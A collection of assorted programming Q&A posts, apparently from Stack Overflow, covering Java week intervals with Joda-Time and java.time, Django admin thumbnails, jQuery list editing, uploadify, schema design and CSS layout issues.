27210618	0	 <p>You need to specify your definition of a week. </p> <h1>String Representation Of A Year-Week</h1> <p>One option is strings. The ISO 8601 standard <a href="https://en.wikipedia.org/wiki/ISO_week_date" rel="nofollow">defines a week</a> as beginning on a Monday, ending on Sunday, with the first week of the year being the first to contain a Thursday, resulting in 52 or 53 weeks a year. </p> <p>The standard also defines a string <a href="https://en.wikipedia.org/wiki/ISO_8601#Week_dates" rel="nofollow">representation for this week-of-year</a> span of time in the format of <code>YYYY-Www</code> (or omitting hypen, <code>YYYYWww</code>) such as <code>2014-W07</code>. A day within the week is represented by a digit where Monday is 1 and Sunday is 7, in the format <code>YYYY-Www-D</code> (or omitting hyphen, <code>YYYYWwwD</code>) such as <code>2014-W07-2</code> (a Tuesday in 7th week of year). The <code>W</code> is important to disambiguate from a year-month such as <code>2014-07</code> being July of 2014.</p> <hr> <h1>Joda-Time</h1> <p>The <a href="http://www.joda.org/joda-time/" rel="nofollow">Joda-Time</a> 2.5 library offers the <a href="http://www.joda.org/joda-time/apidocs/org/joda/time/Interval.html" rel="nofollow"><code>Interval</code></a> class to represent a span of time as a pair of specific moments in time along the timeline of the Universe. Each moment is represented by the <a href="http://www.joda.org/joda-time/apidocs/org/joda/time/DateTime.html" rel="nofollow"><code>DateTime</code></a> class.</p> <h2>Half-Open</h2> <p>Joda-Time uses the Half-Open <code>[)</code> approach to defining spans of time. The beginning is inclusive while the ending is exclusive. This is generally the best way to work with such spans of time. Search StackOverflow for many examples and discussions.</p> <h2>ISO 8601 in Joda-Time</h2> <p>Joda-Time uses the ISO 8601 definition of weeks. Also, Joda-Time uses ISO 8601 as its defaults for parsing and generating string representations of date-time values.</p> <pre><code>DateTimeZone zone = DateTimeZone( "America/Montreal" ); // Get first moment of a Monday. Inclusive. DateTime start = new DateTime( 2014, 11, 24, 0, 0, 0, zone ); // Handle exception thrown if occurring during a Daylight Saving Time gap. DateTime stop = start.plusWeeks( 1 ); // First moment of following Monday. Exclusive. Interval week = new Interval ( start, stop ); </code></pre> <h2>First Monday</h2> <p>Search StackOverflow for many questions and answers on finding the first Monday of a week.</p> <h2><code>LocalDate</code> (date-only)</h2> <p>While you might well be tempted to use <code>LocalDate</code> objects (date only, no time-of-day) to build an <code>Interval</code>. That would be sensible and useful. Unfortunately, the implementation of <code>Interval</code> supports only <code>DateTime</code> objects, not <code>LocalDate</code>.</p> <hr> <h1>java.time</h1> <p>The <a href="http://docs.oracle.com/javase/8/docs/api/java/time/package-summary.html" rel="nofollow">java.time</a> package built into Java 8 and later is inspired by Joda-Time but entirely re-architected. See <a href="https://docs.oracle.com/javase/tutorial/datetime/TOC.html" rel="nofollow">Tutorial</a>.</p> <p>In java.time, an <code>Instant</code> is a moment on the timeline in UTC. Apply a time zone (<code>ZoneId</code>) to get a <code>ZonedDateTime</code>. Use <code>LocalDate</code> to get a date-only value with no time-of-day and no time zone.</p> <p>Note that determining the first moment of a day in java.time requires an extra step when compared to Joda-Time: We must go through the <code>LocalDate</code> class to call its <code>atStartOfDay</code> method.</p> <pre><code>ZoneId zoneId = ZoneId.of ( "America/Montreal" ); ZonedDateTime now = ZonedDateTime.now ( zoneId ); LocalDate firstDayOfThisWeek = now.toLocalDate ().with ( DayOfWeek.MONDAY ); LocalDate firstDayOfNextWeek = firstDayOfThisWeek.plusWeeks ( 1 ); ZonedDateTime thisWeekStart = firstDayOfThisWeek.atStartOfDay ( zoneId ); ZonedDateTime nextWeekStart = firstDayOfNextWeek.atStartOfDay ( zoneId ); </code></pre> <p>Unfortunately, java.time lacks the equivalent of Joda-Time's <code>Interval</code>. </p> <p>Fortunately we have <a href="http://www.threeten.org/threeten-extra/" rel="nofollow">ThreeTen Extra</a>, the project that extends java.time (310 being the number of <a href="https://jcp.org/en/jsr/detail?id=310" rel="nofollow">the JSR defining java.time</a>). This library includes an <a href="http://www.threeten.org/threeten-extra/apidocs/org/threeten/extra/Interval.html" rel="nofollow"><code>Interval</code></a> class that integrates with java.time. This <code>Interval</code> class is more limited than that of Joda-Time as it supports only <code>Instant</code> objects without time zones (always in UTC).</p> <p>Caution: The ThreeTen-Extra project reserves the right to change its interfaces and/or implementations. While intended to be useful as-is, it also serves as an experimental proving ground for classes that may be eventually incorporated into java.time. I gladly make use of ThreeTen-Extra, but you must make your own risk-benefit decision.</p> <pre><code>// This next line requires adding the `ThreeTen Extra` library to your project. Interval interval = Interval.of ( thisWeekStart.toInstant () , nextWeekStart.toInstant () ); // "Interval" is part of ThreeTen-Extra project, not built into Java 8. </code></pre> <p>Dump to console.</p> <pre><code>System.out.println ( "now: " + now + " thisWeekStart: " + thisWeekStart + " nextWeekStart: " + nextWeekStart + " interval: " + interval ); </code></pre> <blockquote> <p>now: 2016-01-15T18:10:48.143-05:00[America/Montreal] thisWeekStart: 2016-01-11T00:00-05:00[America/Montreal] nextWeekStart: 2016-01-18T00:00-05:00[America/Montreal] interval: 2016-01-11T05:00:00Z/2016-01-18T05:00:00Z</p> </blockquote> <p>You can determine the week-of-year as defined by the ISO 8601 standard. Note the "week based" terms. Near the beginning or ending of the year, a date will be in one calendar year while its ISO 8601 week’s year may be ±1.</p> <pre><code>ZoneId zoneId = ZoneId.of ( "America/Montreal" ); ZonedDateTime now = ZonedDateTime.now ( zoneId ); int weekOfYear = now.get ( IsoFields.WEEK_OF_WEEK_BASED_YEAR ); int weekBasedYear = now.get ( IsoFields.WEEK_BASED_YEAR ); System.out.println ( "weekOfYear: " + weekOfYear + " of weekBasedYear: " + weekBasedYear ); </code></pre> <blockquote> <p>weekOfYear: 2 of weekBasedYear: 2016</p> </blockquote>
9809347	0	Spring MVC - URL display in browser and Encoding support <p>This might be an obvious question. But am not able to figure it out so far.</p> <p>In my Spring application, I make a GET request to the following url</p> <p><a href="http://www.example.com/firstpage" rel="nofollow">http://www.example.com/firstpage</a></p> <p>This request goes to the front controller where I have a request mapping as below:</p> <pre><code>@RequestMapping(value = "/firstpage") public String handlerMethod(HttpServletRequest request, HttpSession session) throws CustomException { ... return "secondpage"; } </code></pre> <p>This "secondpage" corresponds to secondpage.jsp and its contents are correctly displayed. But the problem is the browser URL still displays</p> <p><a href="http://www.example.com/firstpage" rel="nofollow">http://www.example.com/firstpage</a></p> <p>Why is this happening? Any suggestions as to how to make the browser URL change? Also does Spring have any default support for encoding URL ?</p>
21210276	0	Skrollr background: position property applied to an image does not work <p>I am trying to animate opacity and parrallax position property of a few images using the scrollr.</p> <p>Opacity works flawlessly on img and div tags, but position property will not work.</p> <p>I tried applying the background-position property to img tag and div tag but it just doesn't work.</p> <pre><code>&lt;div class="image1" data-bottom="opacity:0;background-position: 0px -250px;" data-center="opacity:1;background-position: 0px 0px;" data-top="opacity:0;background-position: 0px 250px;"&gt;&lt;/div&gt; </code></pre> <p>What am I doing wrong?</p> <p><a href="http://jsfiddle.net/Eq87X/3/" rel="nofollow">http://jsfiddle.net/Eq87X/3/</a></p> <p>Thanks</p>
29673953	0	 <p>Another option is to put your alert UI in a group and show/hide it as necessary. Depending on your app's design this can work quite well. I do something similar for showing loading UI.</p>
19919899	0	arquillian using a random port with tomcat7 embeded <p>I'd like to use a random port for arquillian. So in arquillian.xml I do:</p> <pre><code> &lt;arquillian&gt; &lt;container qualifier="tomcat7" default="true"&gt; &lt;configuration&gt; ... &lt;property name="bindHttpPort"&gt;0&lt;/property&gt; ... &lt;/configuration&gt; &lt;/container&gt; &lt;/arquillian&gt; </code></pre> <p>In my unit test:</p> <pre><code>@ArquillianResource private URL base; </code></pre> <p>I hope to have the real port (localPort) used by Apache Tomcat (because yes it start with a random port) but this URL is with 0 port the one from configuration not random one.</p> <p>So how to have access to this?</p>
32925068	0	 <p><code>R.id.stackView1</code> is not found when you try to assign <code>stackView</code>, so it is <code>null</code></p>
8139047	0	grappelli admin show image <p>I have a new project on django, in which im using Grappelli and filebrowser, and I have extended the User to have a UserProfile related to it, my question is, how can I modify my code to be able to show on the UserProfile information of a user the profile picture uploaded, and also show it on the Users list?</p> <p>This is my code now, I dont see any image on the admin!</p> <p>Admin.py</p> <pre><code>from django.contrib import admin from django.contrib.auth.admin import UserAdmin from django.contrib.auth.models import User from models import UserProfile class UserProfileInline(admin.StackedInline): model = UserProfile verbose_name_plural = 'User Profile' list_display = ('city', 'tel', 'description', 'image_thumbnail',) class MyUserAdmin(UserAdmin): list_display = ('username','email','first_name','last_name','date_joined', 'last_login','is_staff', 'is_active',) inlines = [ UserProfileInline ] admin.site.unregister(User) admin.site.register(User, MyUserAdmin) </code></pre> <p>Models.py</p> <pre><code>from django.db import models from django.contrib.auth.models import User from django.db.models.signals import post_save from django.utils.translation import ugettext_lazy as _ from apps.common.utils.abstract_models import BaseModel from apps.common.utils.model_utils import unique_slugify from filebrowser.base import FileObject from django.conf import settings class UserProfile(BaseModel): user = models.OneToOneField(User, related_name="profile") city = models.CharField(_("City"), max_length=200) tel = models.CharField(_("Phone Number"), max_length=50, help_text=_("(Area Code) (Your phone number)")) description = models.TextField(null=True, blank=True, help_text = _("Small description about yourself.")) photo = models.ImageField(max_length=255, upload_to="profiles/", null=True, blank=True, default="img/default_profile_image.png") def image_thumbnail(self): if self.photo: return u'&lt;img src="%s" width="80" height="80" /&gt;' % self.photo.version(ADMIN_THUMBNAIL).url return u'&lt;img src="/site_media/%s" width="80" height="80" /&gt;' % settings.DEFAULT_PROFILE_IMAGE image_thumbnail.allow_tags = True def __unicode__(self): if self.user.first_name or self.user.last_name: return "%s %s" % (self.user.first_name, self.user.last_name) else: return self.user.username </code></pre>
21847489	0	 <p>Use SwingUtilities.invokeLater() without javax.swing.SwingUtilities.invokeAndWait(Unknown Source). It will solve this issue.</p>
20239740	0	 <p>Had something similar before. In my case it was because of a missing dependency.</p> <p>Take a look at the eventviewer. Maybe you can also find some details there.</p>
6087593	0	(Adding and) Removing list items with JavaScript / jQuery <p>I am almost a noob at JavaScript and jQuery, (so I apologize if I didn't recognize a suiting answer to my question, in similar posts).</p> <p>Here is the thing. I have a list with lots of stuff in each list item:</p> <pre><code>&lt;ul id="fruit_list"&gt; &lt;li&gt; &lt;h4&gt; Fruit 1: &lt;a href="#" class="remove"&gt;remove&lt;/a&gt; &lt;/h4&gt; &lt;p&gt; blablabla &lt;/p&gt; &lt;/li&gt; &lt;li&gt; &lt;h4&gt; Fruit 2: &lt;a href="#" class="remove"&gt;remove&lt;/a&gt; &lt;/h4&gt; &lt;p&gt; blablabla &lt;/p&gt; &lt;/li&gt; &lt;/ul&gt; &lt;a href="#" class="add"&gt;add&lt;/a&gt; </code></pre> <p>What I want to do, is when I click on the anchor 'remove', to remove the list item containing it.</p> <p>(Optionally I would like to manipulate the incremental number at Fruit 1, Fruit 2 etc, in a way that when I remove item #2, then the next one becomes the #2 etc. But anyway.)</p> <p>So here is what I've written so far:</p> <pre><code>$(function(){ var i = $('#fruit_list li').size() + 1; $('a.add').click(function() { $('&lt;li&gt;&lt;h4&gt;Fruit '+i+':&lt;a href="#" class="remove"&gt; remove&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Blabla&lt;/p&gt;&lt;/li&gt;') .appendTo('#fruit_list'); i++; }); $('a.remove').click(function(){ $(this).parentNode.parentNode.remove(); /* The above obviously does not work.. */ i--; }); }); </code></pre> <p>The 'add' anchor works as expected. The 'remove' drinks a lemonade..</p> <p>So, any ideas? Thanks </p> <p>EDIT: Thanks for your answers everybody! I took many of your opinions into account (so I won't be commenting on each answer separately) and finally got it working like this:</p> <pre><code>$('a.remove').live('click', function(){ $(this).closest('li').remove(); i--; }); </code></pre> <p>Thank you for your rapid help!</p>
22230741	0	 <p>simply upgrading to bootstrap v3.1.1 made the problem go away.</p>
11327735	0	 <p>Assuming one has an extension method <code>IEnumerable.MinBy</code>:</p> <pre><code>var r = new Random(); return source.MinBy(x=&gt;r.Next()) </code></pre> <p>The method <code>MinBy</code> doesn't save the sequence to memory, it works like <code>IEnumerable.Min</code> making one iteration (see <a href="http://code.google.com/p/morelinq/source/browse/MoreLinq/MinBy.cs" rel="nofollow">MoreLinq</a> or <a href="http://stackoverflow.com/a/11326714/284795">elsewhere</a> )</p>
19702397	0	how to keep the last frame in opencv in c++ <p>I need to keep the information in the last frame in a video file and then calculate PSNR between the last and whole frames. the video is running! when I get to the last frame I would miss all the previous frames information. so I can not calculate a formula between the last and the first frame :(</p> <pre><code>float *frames; //this pointer points to the frames float *p; for(int i=0; i&lt;sizeof frames; i++){ ... ; } </code></pre> <p>I do not know how to fill the for-loop :(</p> <p>thanks in advance.. </p>
6921064	0	 <p>Canonical (Ubuntu) tracks <a href="http://popcon.ubuntu.com/by_vote" rel="nofollow">software package usage</a> for their distro, so there's no need to rely on Stack Exchange issue counts to measure popularity. However, as others have pointed out, this only tracks Ubuntu users and Canonical (Ubuntu) uses and recommends bzr (sample bias). Nonetheless...</p> <pre><code> 2011 2011 2011 Package Aug 3 Sep 29 Dec 9 Change ------ ------ ------ ------ ------ git-core 3647 3402 3236 -11% bzr 4975 5286 6070 +22% mercurial 3411 3387 3461 +1% </code></pre> <p>The decline in votes for the git-core package makes me think I've done something wrong like <code>grep</code>ed the wrong package name from the ubuntu popularity table. Or maybe even this "vote" count is related to installations and not actual usage of the software.</p> <p>Here's some historical data for trending. I used the <code>&lt;install&gt;</code> rather than <code>&lt;vote&gt;</code> stats from Ubuntu in this table, but it shows a growth spurt in Bazaar and Mercurial starting in 2011. Nonetheless, <code>bzr</code> was behind <code>git</code> in 2011, but the recent stats for 2011 show that it passed <code>git</code> in total installed instances (on Ubuntu).</p> <pre><code> June Aug Dec Growth Oct Growth 2010 2011 2011 2013 ---- ----- ---- ---- ------ ---- ------ git 94k 159k 171k 80% 165k -3.5% bzr 52k 121k 135k 160% 170k 26.0% hg 36k 68k 75k 110% 95k 26.7% </code></pre> <p>Discalaimer: I used bzr on Ubuntu until 2012 when I worked on teams that used <code>git</code> exclusively. <code>Bzr</code> plays nice with all other VCSes, allowing you to use consistent, intuitive bzr command line syntax. My switch to <code>git</code> was for social rather than technical reasons.</p>
35988198	0	How to Mock Service Initialization Parameters in Service Fabric for Unit Testing similar to mocking the state using a mock class? <p>I am writing Unit tests for a Service Fabric Reliable Service. My application is an OWIN hosted Stateless service, I want to write Unit test for Communication listener, Which uses <strong><em>ServiceInitializationParameters</em></strong> class. I can't initialize a dummy object of this type since all the fields are read only and no public constructor is available. For State in service fabric, We can mock it by using a mock class which implements an interface for state. </p> <p>Is there any similar way to mock the Service Initialization Parameters ?</p>
19449746	0	 <p>You should use next code:</p> <pre><code>try { $img = @getimagesize($image); echo "&lt;a href='$image'&gt;&lt;img src=\"$image\" width='300' height='150'/&gt;&lt;/a&gt;"; } catch(Exception $e) { echo "&lt;img src='".plugins_url()."/plugins/images/image_not_found.jpg' width='300' height='150'/&gt;"; } </code></pre>
39220851	0	 <p>Hope This Helps</p> <p><strong>HTML Code</strong></p> <pre><code>&lt;table width="560"&gt; &lt;tbody&gt; &lt;tr&gt; &lt;td&gt; &lt;span&gt;5th Mar, 2016&lt;/span&gt; &lt;/td&gt; &lt;/tr&gt; &lt;/tbody&gt; &lt;/table&gt; </code></pre> <p><strong>CSS Code</strong></p> <pre><code>table { background-color: #fff; padding: 5px } table, th, td { color: #fff; border: 1px solid black; } table tr { background-color: #000; } </code></pre>
39193143	0	 <p>The obvious solution, as Fyodor Soikin points out, is to simply make <code>Profile</code> a module.</p> <pre><code>module Profile = let someUserName = "some_user_name" let somePassword = "some_password" </code></pre> <p>Then you can just:</p> <pre><code>open Profile let credentials = { User = User someUserName; Password = Password somePassword } </code></pre> <p>Incidentally, while it may not be possible to open static classes in F# at the moment, this looks set to change in future versions - this feature has been "approved in principle". See the <a href="https://fslang.uservoice.com/forums/245727-f-language/suggestions/6958404-allow-opening-of-static-classes-matching-the-c-d">user voice item</a> for more.</p>
4413153	0	 <p>The <code>drawString</code> method does not handle new-lines.</p> <p>You'll have to split the string on new-line characters yourself and draw the lines one by one with a proper vertical offset:</p> <pre><code>void drawString(Graphics g, String text, int x, int y) { for (String line : text.split("\n")) g.drawString(line, x, y += g.getFontMetrics().getHeight()); } </code></pre> <hr> <p>Here is a complete example to give you the idea:</p> <pre><code>import java.awt.*; public class TestComponent extends JPanel { private void drawString(Graphics g, String text, int x, int y) { for (String line : text.split("\n")) g.drawString(line, x, y += g.getFontMetrics().getHeight()); } public void paintComponent(Graphics g) { super.paintComponent(g); drawString(g, "hello\nworld", 20, 20); g.setFont(g.getFont().deriveFont(20f)); drawString(g, "part1\npart2", 120, 120); } public static void main(String s[]) { JFrame f = new JFrame(); f.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); f.add(new TestComponent()); f.setSize(220, 220); f.setVisible(true); } } </code></pre> <p>which gives the following result:</p> <p><img src="https://i.stack.imgur.com/l8x9w.png" alt="enter image description here"></p>
12299724	0	List of Natural Language Processing Tools in Regards to Sentiment Analysis - Which one do you recommend <p>first up sorry for my not so perfect English... I am from Germany ;) </p> <p>So, for a research project of mine (Bachelor thesis) I need to analyze the sentiment of tweets about certain companies and brands. For this purpose I will need to script my own program / use some sort of modified open source code (no APIs' - I need to understand what is happening). </p> <p>Below you will find a list of some of the NLP Applications I found. My Question now is which one and which approach would you recommend? And which one does not require long nights adjusting the code?</p> <p>For example: When I screen twitter for the music player >iPod&lt; and someone writes: "It's a terrible day but at least my iPod makes me happy" or even harder: "It's a terrible day but at least my iPod makes up for it" </p> <p>Which software is smart enough to understand that the focused is on iPod and not the weather? </p> <p>Also which software is scalable / resource efficient (I want to analyze several tweets and don't want to spend thousands of dollars)? </p> <p><strong>Machine learning and data mining</strong></p> <p><em>Weka</em> - is a collection of machine learning algorithms for data mining. It is one of the most popular text classification frameworks. It contains implementations of a wide variety of algorithms including Naive Bayes and Support Vector Machines (SVM, listed under SMO) [Note: Other commonly used non-Java SVM implementations are SVM-Light, LibSVM, and SVMTorch]. A related project is Kea (Keyphrase Extraction Algorithm) an algorithm for extracting keyphrases from text documents.</p> <p><em>Apache Lucene Mahout</em> - An incubator project to created highly scalable distributed implementations of common machine learning algorithms on top of the Hadoop map-reduce framework.</p> <p><strong>NLP Tools</strong></p> <p><em>LingPipe</em> - (not technically 'open-source, see below) Alias-I's Lingpipe is a suite of java tools for linguistic processing of text including entity extraction, speech tagging (pos) , clustering, classification, etc... It is one of the most mature and widely used open source NLP toolkits in industry. It is known for it's speed, stability, and scalability. One of its best features is the extensive collection of well-written tutorials to help you get started. They have a list of links to competition, both academic and industrial tools. Be sure to check out their blog. LingPipe is released under a royalty-free commercial license that includes the source code, but it's not technically 'open-source'.</p> <p><em>OpenNLP</em> - hosts a variety of java-based NLP tools which perform sentence detection, tokenization, part-of-speech tagging, chunking and parsing, named-entity detection, and co-reference analysis using the Maxent machine learning package.</p> <p><em>Stanford Parser and Part-of-Speech (POS) Tagger</em> - Java packages for sentence parsing and part of speech tagging from the Stanford NLP group. It has implementations of probabilistic natural language parsers, both highly optimized PCFG and lexicalized dependency parsers, and a lexicalized PCFG parser. It's has a full GNU GPL license.</p> <p><em>OpenFST</em> - A package for manipulating weighted finite state automata. These are often used to represented a probablistic model. They are used to model text for speech recognition, OCR error correction, machine translation, and a variety of other tasks. The library was developed by contributors from Google Research and NYU. It is a C++ library that is meant to be fast and scalable.</p> <p><em>NTLK</em> - The natural language toolkit is a tool for teaching and researching classification, clustering, speech tagging and parsing, and more. It contains a set of tutorials and data sets for experimentation. It is written by Steven Bird, from the University of Melbourne.</p> <p><em>Opinion Finder</em> - A system that performs subjectivity analysis, automatically identifying when opinions, sentiments, speculations and other private states are present in text. Specifically, OpinionFinder aims to identify subjective sentences and to mark various aspects of the subjectivity in these sentences, including the source (holder) of the subjectivity and words that are included in phrases expressing positive or negative sentiments.</p> <p><em>Tawlk/osae</em> - A python library for sentiment classification on social text. The end-goal is to have a simple library that "just works". It should have an easy barrier to entry and be thoroughly documented. We have acheived best accuracy using stopwords filtering with tweets collected on negwords.txt and poswords.txt</p> <p><em>GATE</em> - GATE is over 15 years old and is in active use for all types of computational task involving human language. GATE excels at text analysis of all shapes and sizes. From large corporations to small startups, from €multi-million research consortia to undergraduate projects, our user community is the largest and most diverse of any system of this type, and is spread across all but one of the continents1.</p> <p><em>textir</em> - A suite of tools for text and sentiment mining. This includes the ‘mnlm’ function, for sparse multinomial logistic regression, ‘pls’, a concise partial least squares routine, and the ‘topics’ function, for efficient estimation and dimension selection in latent topic models.</p> <p>NLP Toolsuite - The JULIE Lab here offers a comprehensive NLP tool suite for the application purposes of semantic search, information extraction and text mining. Most of our continuously expanding tool suite is based on machine learning methods and thus is domain- and language independent.</p> <p>...</p> <p>On a side note: Would you recommend the twitter streaming or the get API? </p> <p>As to me, I am a fan of python and java ;)</p> <p>Thanks a lot for your help!!!</p>
10875635	0	 <pre><code>from itertools import izip with open("myfile.csv") as inf, open("new.csv","w") as outf: header = [s.split('_to_') for s in inf.next().split(',')] for row in inf: nums = (int(s) for s in row.split(',')) for (_from, _to), num in izip(header, nums): outf.write("{},{},{}\n".format(_from, _to, _num)) </code></pre>
32605606	0	 <pre><code>var background = $('body').css('background-image'); var start = background.substr(0, background.lastIndexOf('.')); var end = background.substr(background.lastIndexOf('.')); $('body').css('background-image', start + '_something_more' + end); </code></pre>
17439694	0	Self referencing schema for versioning <p>I need to version documents in a collection, such that any changes to a document make a copy, and save the edited copy as 'current' and the previous version is preserved, along with time stamps, person editing, etc. I have designed a schema like:</p> <pre><code>var doc = new Schema; doc.Add({ created: Date, created_by:{type: ObjectId, ref: 'User'}, doc_id: String, doc_data: String, prev_docs:[doc] }); </code></pre> <p>So editing a doc would take the current doc, make a copy, and update the document, sticking current_doc into prev_docs, etc.</p> <ol> <li>Can a schema reference itself, like <code>prev_docs</code> does?</li> <li>Is this design pattern scalable in MongoDB? <code>prev_docs</code> would only ever be used as an audit trail, users would not generally see previous versions, and the would be excluded completely from most queries.</li> </ol>
2821612	0	django+uploadify - don't working <p>I'm trying to use an example posted on the "github" the link is <a href="http://github.com/tstone/django-uploadify" rel="nofollow noreferrer">http://github.com/tstone/django-uploadify</a>. And I'm having trouble getting work. can you help me? I followed step by step, but does not work.</p> <p>Accessing the "URL" / upload / the only thing is that returns "True"</p> <p><strong>part of settings.py</strong></p> <pre><code>import os PROJECT_ROOT_PATH = os.path.dirname(os.path.abspath(__file__)) MEDIA_ROOT = os.path.join(PROJECT_ROOT_PATH, 'media') TEMPLATE_DIRS = ( os.path.join(PROJECT_ROOT_PATH, 'templates')) </code></pre> <p><strong>urls.py</strong></p> <pre><code>from django.conf.urls.defaults import * from django.conf import settings from teste.uploadify.views import * from django.contrib import admin admin.autodiscover() urlpatterns = patterns('', (r'^admin/', include(admin.site.urls)), url(r'upload/$', upload, name='uploadify_upload'), ) </code></pre> <p><strong>views.py</strong> </p> <pre><code>from django.http import HttpResponse import django.dispatch upload_received = django.dispatch.Signal(providing_args=['data']) def upload(request, *args, **kwargs): if request.method == 'POST': if request.FILES: upload_received.send(sender='uploadify', data=request.FILES['Filedata']) return HttpResponse('True') </code></pre> <p><strong>models.py</strong></p> <pre><code>from django.db import models def upload_received_handler(sender, data, **kwargs): if file: new_media = Media.objects.create( file = data, new_upload = True, ) new_media.save() upload_received.connect(upload_received_handler, dispatch_uid='uploadify.media.upload_received') class Media(models.Model): file = models.FileField(upload_to='images/upload/', null=True, blank=True) new_upload = models.BooleanField() </code></pre> <p><strong>uploadify_tags.py</strong></p> <pre><code>from django import template from teste import settings register = template.Library() @register.inclusion_tag('uploadify/multi_file_upload.html', takes_context=True) def multi_file_upload(context, upload_complete_url): """ * filesUploaded - The total number of files uploaded * errors - The total number of errors while uploading * allBytesLoaded - The total number of bytes uploaded * speed - The average speed of all uploaded files """ return { 'upload_complete_url' : upload_complete_url, 'uploadify_path' : settings.UPLOADIFY_PATH, # checar essa linha 'upload_path' : settings.UPLOADIFY_UPLOAD_PATH, } </code></pre> <p><strong>template - uploadify/multi_file_upload.html</strong></p> <pre><code>{% load uploadify_tags }{ multi_file_upload '/media/images/upload/' %} &lt;script type="text/javascript" src="{{ MEDIA_URL }}js/swfobject.js"&gt;&lt;/script&gt; &lt;script type="text/javascript" src="{{ MEDIA_URL }}js/jquery.uploadify.js"&gt;&lt;/script&gt; &lt;div id="uploadify" class="multi-file-upload"&gt;&lt;input id="fileInput" name="fileInput" type="file" /&gt;&lt;/div&gt; &lt;script type="text/javascript"&gt;// &lt;![CDATA[ $(document).ready(function() { $('#fileInput').uploadify({ 'uploader' : '/media/swf/uploadify.swf', 'script' : '{% url uploadify_upload %}', 'cancelImg' : '/media/images/uploadify-remove.png/', 'auto' : true, 'folder' : '/media/images/upload/', 'multi' : true, 'onAllComplete' : allComplete }); }); function allComplete(event, data) { $('#uploadify').load('{{ upload_complete_url }}', { 'filesUploaded' : data.filesUploaded, 'errorCount' : data.errors, 'allBytesLoaded' : data.allBytesLoaded, 'speed' : data.speed }); // raise custom event $('#uploadify') .trigger('allUploadsComplete', data); } // ]]&lt;/script&gt; </code></pre>
16195555	0	 <p>You can create a matrix directly and just multiply the data with it:</p> <pre><code>as.matrix(trans_temp) * col(trans_temp) </code></pre> <hr> <h3>Benchmarking with eddi's</h3> <pre><code>m &lt;- as.data.frame(matrix(runif(1e7), ncol=1000)) x &lt;- seq_len(1000) system.time(tt1 &lt;- as.matrix(m) * col(m)) # 0.335 seconds system.time(tt2 &lt;- t(x*t(m))) # 0.505 seconds identical(tt1, tt2) # TRUE </code></pre>
33208427	0	 <p>I am using Windows with git bash/command promt</p> <p>zipalign.exe needed to be configured in environment variables.</p> <p>so include sdk folder 'build-tool' with android version folder you are using to build.</p> <pre><code>e.g. E:\android-sdk\build-tools\22.0.1 </code></pre> <p>it should contain 'zipalign.exe'. now you can user</p> <pre><code>zipalign -v 4 Project1.apk Project1-aligned.apk </code></pre> <p>from any location using command line tools.</p> <p>thumb up for me so i can help more developers.</p>
4290465	0	Field data type / validations questions <p>I have few questions on what data types to use and how to define some fields from my site. My current schema is in MySQL but in process of changing to PostregSQL.</p> <ol> <li><p>First &amp; Last name -> Since I have multi-lang, tables all support UTF-8, but do i need to declare them as nvarchar in-case a user enters a Chinese name? If so, how do i enforce field validation if it is set to accept alphabets only as i assume those are English alphabets and not validating for valid chinese or arabic alphabets? And i don't think PostregSQL supports nvarchar anyways?</p></li> <li><p>To store current time line - > Example I work in company A from Jan 2009 to Present. So i assume there will be 3 field for this: timeline_to, timeline_from, time_line present where to &amp; from are month/year varchars and present is just a flag to set the current date?</p></li> <li><p>User passwords. i am using SHA 256 + salting. so i have 2 fields declared as follows:<br> password_hash - varchar (64)<br> password_salt- varchar (64)<br> Does this work if the user password needs to be between 8 and 32 chars long?</p></li> <li><p>birth time -> I need to record birth time for the application to calculate some astrological values. so that means hour, minute and am/pm. So best to store these are 3 separate single select lists with varchar or use a time data type in the back end and allow users to use single select list in front end?</p></li> <li><p>Lastly for birth month and year only, are these int or varchar if i store them in separate rows? They all have primary keys of int for reporting purposes so int makes more sense? or should i store them in 1 field only as date type?</p></li> </ol>
40221455	0	How to build Angular2 app with external json file using angular-cli in prod mode? <p>My Angular2 app is using ng2-translate module and 'en.json' file contains translation. This is all working well in dev mode when built end deployed with angular-cli. But when built in prod mode, and deployed to WildFly, en.json is not found and translation is not loaded.</p> <p>How to build app in prod mode, so en.json is packed inside dist directory?</p>
6543061	0	 <p>You can try something like this: </p> <p><a href="http://www.javascriptkit.com/javatutors/externalphp.shtml" rel="nofollow">http://www.javascriptkit.com/javatutors/externalphp.shtml</a></p> <p>The external file doesn't have to be a .js extension. Alternatively, you could associate .js files as PHP files in apache (or whatever webserver you are running). Saving your JS files as .php is probably easiest but keep in mind that it won't share the same variables as the script rendering the page. </p>
27146664	0	Does webRtc Hybrid app run on IOS <p>I want to develop IOS application using sdk like rtc.io I want to know whether javascript based hybrid application will run on IOS or not? Is there any available free SDK for IOS native webRTC Data channel app development? </p>
32044452	0	 <p>I'm not entirely sure what you're trying to ask, but I'll give it a shot.</p> <p>You can use a ListView and then set its DataTemplate to effectively make it look exactly as u want. For example:</p> <pre><code> &lt;ListView ItemsSource="{Binding MyItems}" &gt; &lt;ListView.ItemTemplate&gt; &lt;Grid&gt; &lt;Grid.ColumnDefinitions&gt; &lt;ColumnDefinition /&gt; &lt;ColumnDefinition /&gt; &lt;/Grid.ColumnDefinitions&gt; &lt;TextBlock Text="{Binding Property1}" /&gt; &lt;TextBlock Grid.Column="1" Text="{Binding Property2}" /&gt; &lt;/Grid&gt; &lt;/ListView.ItemTemplate&gt; &lt;/ListView&gt; </code></pre> <p>Where Property1 and Property2 are bindable properties of an item in your ItemsSource.</p>
24832024	0	CSS help for RadioButtonList <p>After spending a lot of time, I've come to realize that I need some external help related to a CSS problem. </p> <p>So, I've been using a free template for my website. In the contact form, I added RadioButtonList, and its rendering button over text, rather than button then text in the same line. I am trying to get the standard format, but unable to achieve it. </p> <p>The RadioButtonList is under a form, which references to CSS blocks via <code>&lt;div id="contact-form"&gt;</code>, when I remove the <code>id=contact-form</code>, it fixes the Radio button problem, but kills rest of the CSS. So, I don't want to touch it. I checked out the CSS stuff, and this is what it looks like: </p> <pre><code>/* contact form */ #contact-form form { margin-bottom: 30px; } #contact-form div { float: left; width: 100%; } #contact-form .half { width: 47%; } #contact-form label { display: inline-block; float: left; } #contact-form input, #contact-form textarea, #contact-form select { width: 100% !important; min-width: none; margin-bottom: 12px; } #contact-form button.submit { text-transform: uppercase; letter-spacing: 2px; margin-top: 24px; } #contact-form span.required { color: #11ABB0; } </code></pre> <p>On further trial and error, I found that on removing <code>width: 100%</code>the radio button and text come in same line, but radio button is to the right to the text. I was able to put buttons to the left of text by further deleting <code>float: left;</code> inside <code>#contact-form label</code>. This 